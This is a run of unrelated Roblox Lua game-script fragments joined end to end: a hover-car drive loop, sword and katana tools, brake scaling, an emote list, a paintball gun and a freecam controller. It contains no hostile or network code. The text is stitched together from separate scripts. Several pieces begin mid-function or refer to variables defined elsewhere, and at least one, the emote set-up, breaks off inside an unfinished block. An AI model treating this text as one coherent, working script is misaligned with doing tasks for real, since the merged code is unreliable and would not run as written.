while task.wait() and car:FindFirstChild("DriveSeat") and character.Humanoid.SeatPart == car.DriveSeat do --game:GetService("RunService").RenderStepped:wait() if IsGrounded() then if movement.Y ~= 0 then local velocity = humanoidRootPart.CFrame.lookVector * movement.Y * stats.Speed.Value humanoidRootPart.Velocity = humanoidRootPart.Velocity:Lerp(velocity, 0.1) bodyVelocity.maxForce = Vector3.new(0, 0, 0) else bodyVelocity.maxForce = Vector3.new(mass / 2, mass / 4, mass / 2) end local rotVelocity = humanoidRootPart.CFrame:vectorToWorldSpace(Vector3.new(movement.Y * stats.Speed.Value / 50, 0, -humanoidRootPart.RotVelocity.Y * 5 * movement.Y)) local speed = -humanoidRootPart.CFrame:vectorToObjectSpace(humanoidRootPart.Velocity).unit.Z rotation = rotation + math.rad((-stats.Speed.Value / 5) * movement.Y) if math.abs(speed) > 0.1 then rotVelocity = rotVelocity + humanoidRootPart.CFrame:vectorToWorldSpace((Vector3.new(0, -movement.X * speed * stats.TurnSpeed.Value, 0))) bodyAngularVelocity.maxTorque = Vector3.new(0, 0, 0) else bodyAngularVelocity.maxTorque = Vector3.new(mass / 4, mass / 2, mass / 4) end humanoidRootPart.RotVelocity = humanoidRootPart.RotVelocity:Lerp(rotVelocity, 0.1) --bodyVelocity.maxForce = Vector3.new(mass / 3, mass / 6, mass / 3) --bodyAngularVelocity.maxTorque = Vector3.new(mass / 6, mass / 3, mass / 6) else bodyVelocity.maxForce = Vector3.new(0, 0, 0) bodyAngularVelocity.maxTorque = Vector3.new(0, 0, 0) end for i, part in pairs(car:GetChildren()) do if part.Name == "Thruster" then UpdateThruster(part) end end end for i, v in pairs(car:GetChildren()) do if v:FindFirstChild("BodyThrust") then v.BodyThrust:Destroy() end end bodyVelocity:Destroy() bodyAngularVelocity:Destroy() --camera.CameraType = oldCameraType script:Destroy()
--Got this one on the first try. What a simple edit. x3 ~Bloxmaster998144
r = game:service("RunService") local damage = 5 local slash_damage = 10 local lunge_damage = 30 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 local DB = true function blow(hit) if (hit.Parent == nil or hit.Parent == game.Workspace.CurrentCamera) then return end local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") if humanoid and humanoid ~= hum and hum then if DB == true then DB = false humanoid:TakeDamage(10) wait() DB = true end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool wait(.25) swordOut() wait(.75) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--[[Output Scaling Factor]]
local hpScaling = _Tune.WeightScaling*10 local FBrakeForce = _Tune.FBrakeForce local RBrakeForce = _Tune.RBrakeForce local PBrakeForce = _Tune.PBrakeForce local OriginalBrakeForceR = _Tune.RBrakeForce local OriginalBrakeForceF = _Tune.FBrakeForce local DoubleBrake = false if not workspace:PGSIsEnabled() then hpScaling = _Tune.LegacyScaling*10 FBrakeForce = _Tune.FLgcyBForce RBrakeForce = _Tune.RLgcyBForce PBrakeForce = _Tune.LgcyPBForce end
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = {spin = true, wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, dance4 = true, dance5 = true, dance6 = true, dance7 = true, dance8 = true, dance9 = true, laugh = false, cheer = false} function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then
-- missile.Velocity = v * iv MOVED DOWN
missile.BrickColor=cc missile.Shape = 0 missile.BottomSurface = 0 missile.TopSurface = 0 missile.Name = "Paintball" missile.Elasticity = 0 missile.Reflectance = 0 missile.Friction = .9 missile.CanCollide=false local force = Instance.new("BodyForce") force.force = Vector3.new(0,90,0) force.Parent = missile Tool.BrickCleanup:clone().Parent = missile local new_script = pbs:clone() new_script.Disabled = false new_script.Parent = missile local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vPlayer creator_tag.Name = "creator" creator_tag.Parent = missile if mode==3 then local m1=missile:clone() m1.Position=spawnPos + v*2.5 + Vector3.new(0,-0.5,0) + vCharacter.PrimaryPart.CFrame.lookVector*2 m1.Velocity = Vector3.new(v.x*math.random(85, 115)/100, v.y*math.random(85, 115)/100, v.z*math.random(85, 115)/100)*iv --, (5*v+Vector3.new(math.random(-1,-1),math.random(-1,-1),math.random(-1,-1)))/5 * iv --print("x=" .. m1.Velocity.x .. ", y=" .. m1.Velocity.y .. ", z=" .. m1.Velocity.x .. ".") m1.Parent=workspace local m2=missile:clone() m2.Position=spawnPos + v*2 + Vector3.new(0,.5,0) + vCharacter.PrimaryPart.CFrame.lookVector*3 m2.Velocity = Vector3.new(v.x*math.random(85, 115)/100, v.y*math.random(85, 115)/100, v.z*math.random(85, 115)/100)*iv m2.Parent=workspace local m3=missile:clone() m3.Position=spawnPos + v*3.5 + vCharacter.PrimaryPart.CFrame.lookVector*1 m3.Velocity = Vector3.new(v.x*math.random(85, 115)/100, v.y*math.random(85, 115)/100, v.z*math.random(85, 115)/100)*iv m3.Parent=workspace else missile.Position = spawnPos + v*2.5 + vCharacter.PrimaryPart.CFrame.lookVector*2 missile.Velocity = v * iv missile.Parent = workspace end end function dropwep() connection:disconnect() wait(1) Tool.Parent=game.Workspace wait(14) --not been picked up then remove it. if Tool.Parent==game.Workspace then Tool.Parent=nil end end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end connection=script.Parent.Parent.Humanoid.Died:connect(dropwep) Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint if gren and nadeloaded then gren=false Tool.Enabled = true firenade(targetPos) else local lookAt = (targetPos - character.Head.Position).unit fire(lookAt) wait(reloadtime) Tool.Enabled = true end end script.Parent.Activated:connect(onActivated)
--For Omega Rainbow Katana thumbnail to display a lot of particles.
for i, v in pairs(Handle:GetChildren()) do if v:IsA("ParticleEmitter") then v.Rate = 20 end end Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) game.ServerStorage.DownEvent:Fire(humanoid, Damage) -- MAIN DAMAGE SCRIPT [USE THIS LINE OF CODE] end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end --[[ if CheckIfAlive() then local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.4) Force.Parent = Torso end ]] wait(0.2) Tool.Grip = Grips.Out wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false end Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Connection = Handle.Touched:Connect(Blow)
------------------------------------------------------------------------
local Input = {} do local thumbstickCurve do local K_CURVATURE = 2.0 local K_DEADZONE = 0.15 local function fCurve(x) return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1) end local function fDeadzone(x) return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE)) end function thumbstickCurve(x) return sign(x)*clamp(fDeadzone(abs(x)), 0, 1) end end local gamepad = { ButtonX = 0, ButtonY = 0, DPadDown = 0, DPadUp = 0, ButtonL2 = 0, ButtonR2 = 0, Thumbstick1 = Vector2.new(), Thumbstick2 = Vector2.new(), } local keyboard = { W = 0, A = 0, S = 0, D = 0, E = 0, Q = 0, U = 0, H = 0, J = 0, K = 0, I = 0, Y = 0, Up = 0, Down = 0, LeftShift = 0, RightShift = 0, } local mouse = { Delta = Vector2.new(), MouseWheel = 0, } local NAV_GAMEPAD_SPEED = Vector3.new(1, 1, 1) local NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1) local PAN_MOUSE_SPEED = Vector2.new(1, 1)*(pi/64) local PAN_GAMEPAD_SPEED = Vector2.new(1, 1)*(pi/8) local FOV_WHEEL_SPEED = 1.0 local FOV_GAMEPAD_SPEED = 0.25 local NAV_ADJ_SPEED = 0.75 local NAV_SHIFT_MUL = 0.25 local navSpeed = 1 function Input.Vel(dt) navSpeed = clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4) local kGamepad = Vector3.new( thumbstickCurve(gamepad.Thumbstick1.X), thumbstickCurve(gamepad.ButtonR2) - thumbstickCurve(gamepad.ButtonL2), thumbstickCurve(-gamepad.Thumbstick1.Y) )*NAV_GAMEPAD_SPEED local kKeyboard = Vector3.new( keyboard.D - keyboard.A + keyboard.K - keyboard.H, keyboard.E - keyboard.Q + keyboard.I - keyboard.Y, keyboard.S - keyboard.W + keyboard.J - keyboard.U )*NAV_KEYBOARD_SPEED local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or UserInputService:IsKeyDown(Enum.KeyCode.RightShift) return (kGamepad + kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1)) end function Input.Pan(dt) local kGamepad = Vector2.new( thumbstickCurve(gamepad.Thumbstick2.Y), thumbstickCurve(-gamepad.Thumbstick2.X) )*PAN_GAMEPAD_SPEED local kMouse = mouse.Delta*PAN_MOUSE_SPEED mouse.Delta = Vector2.new() return kGamepad + kMouse end function Input.Fov(dt) local kGamepad = (gamepad.ButtonX - gamepad.ButtonY)*FOV_GAMEPAD_SPEED local kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED mouse.MouseWheel = 0 return kGamepad + kMouse end do local function Keypress(action, state, input) keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0 return Enum.ContextActionResult.Sink end local function GpButton(action, state, input) gamepad[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0 return Enum.ContextActionResult.Sink end local function MousePan(action, state, input) local delta = input.Delta mouse.Delta = Vector2.new(-delta.y, -delta.x) return Enum.ContextActionResult.Sink end local function Thumb(action, state, input) gamepad[input.KeyCode.Name] = input.Position return Enum.ContextActionResult.Sink end local function Trigger(action, state, input) gamepad[input.KeyCode.Name] = input.Position.z return Enum.ContextActionResult.Sink end local function MouseWheel(action, state, input) mouse[input.UserInputType.Name] = -input.Position.z return Enum.ContextActionResult.Sink end local function Zero(t) for k, v in pairs(t) do t[k] = v*0 end end function Input.StartCapture() ContextActionService:BindActionAtPriority("FreecamKeyboard", Keypress, false, INPUT_PRIORITY, Enum.KeyCode.W, Enum.KeyCode.U, Enum.KeyCode.A, Enum.KeyCode.H, Enum.KeyCode.S, Enum.KeyCode.J, Enum.KeyCode.D, Enum.KeyCode.K, Enum.KeyCode.E, Enum.KeyCode.I, Enum.KeyCode.Q, Enum.KeyCode.Y, Enum.KeyCode.Up, Enum.KeyCode.Down ) ContextActionService:BindActionAtPriority("FreecamMousePan", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement) ContextActionService:BindActionAtPriority("FreecamMouseWheel", MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel) ContextActionService:BindActionAtPriority("FreecamGamepadButton", GpButton, false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY) ContextActionService:BindActionAtPriority("FreecamGamepadTrigger", Trigger, false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2) ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick", Thumb, false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2) end function Input.StopCapture() navSpeed = 1 Zero(gamepad) Zero(keyboard) Zero(mouse) ContextActionService:UnbindAction("FreecamKeyboard") ContextActionService:UnbindAction("FreecamMousePan") ContextActionService:UnbindAction("FreecamMouseWheel") ContextActionService:UnbindAction("FreecamGamepadButton") ContextActionService:UnbindAction("FreecamGamepadTrigger") ContextActionService:UnbindAction("FreecamGamepadThumbstick") end end end local function GetFocusDistance(cameraFrame) local znear = 0.1 local viewport = Camera.ViewportSize local projy = 2*tan(cameraFov/2) local projx = viewport.x/viewport.y*projy local fx = cameraFrame.rightVector local fy = cameraFrame.upVector local fz = cameraFrame.lookVector local minVect = Vector3.new() local minDist = 512 for x = 0, 1, 0.5 do for y = 0, 1, 0.5 do local cx = (x - 0.5)*projx local cy = (y - 0.5)*projy local offset = fx*cx - fy*cy + fz local origin = cameraFrame.p + offset*znear local _, hit = Workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist)) local dist = (hit - origin).Magnitude if minDist > dist then minDist = dist minVect = offset.unit end end end return fz:Dot(minVect)*minDist end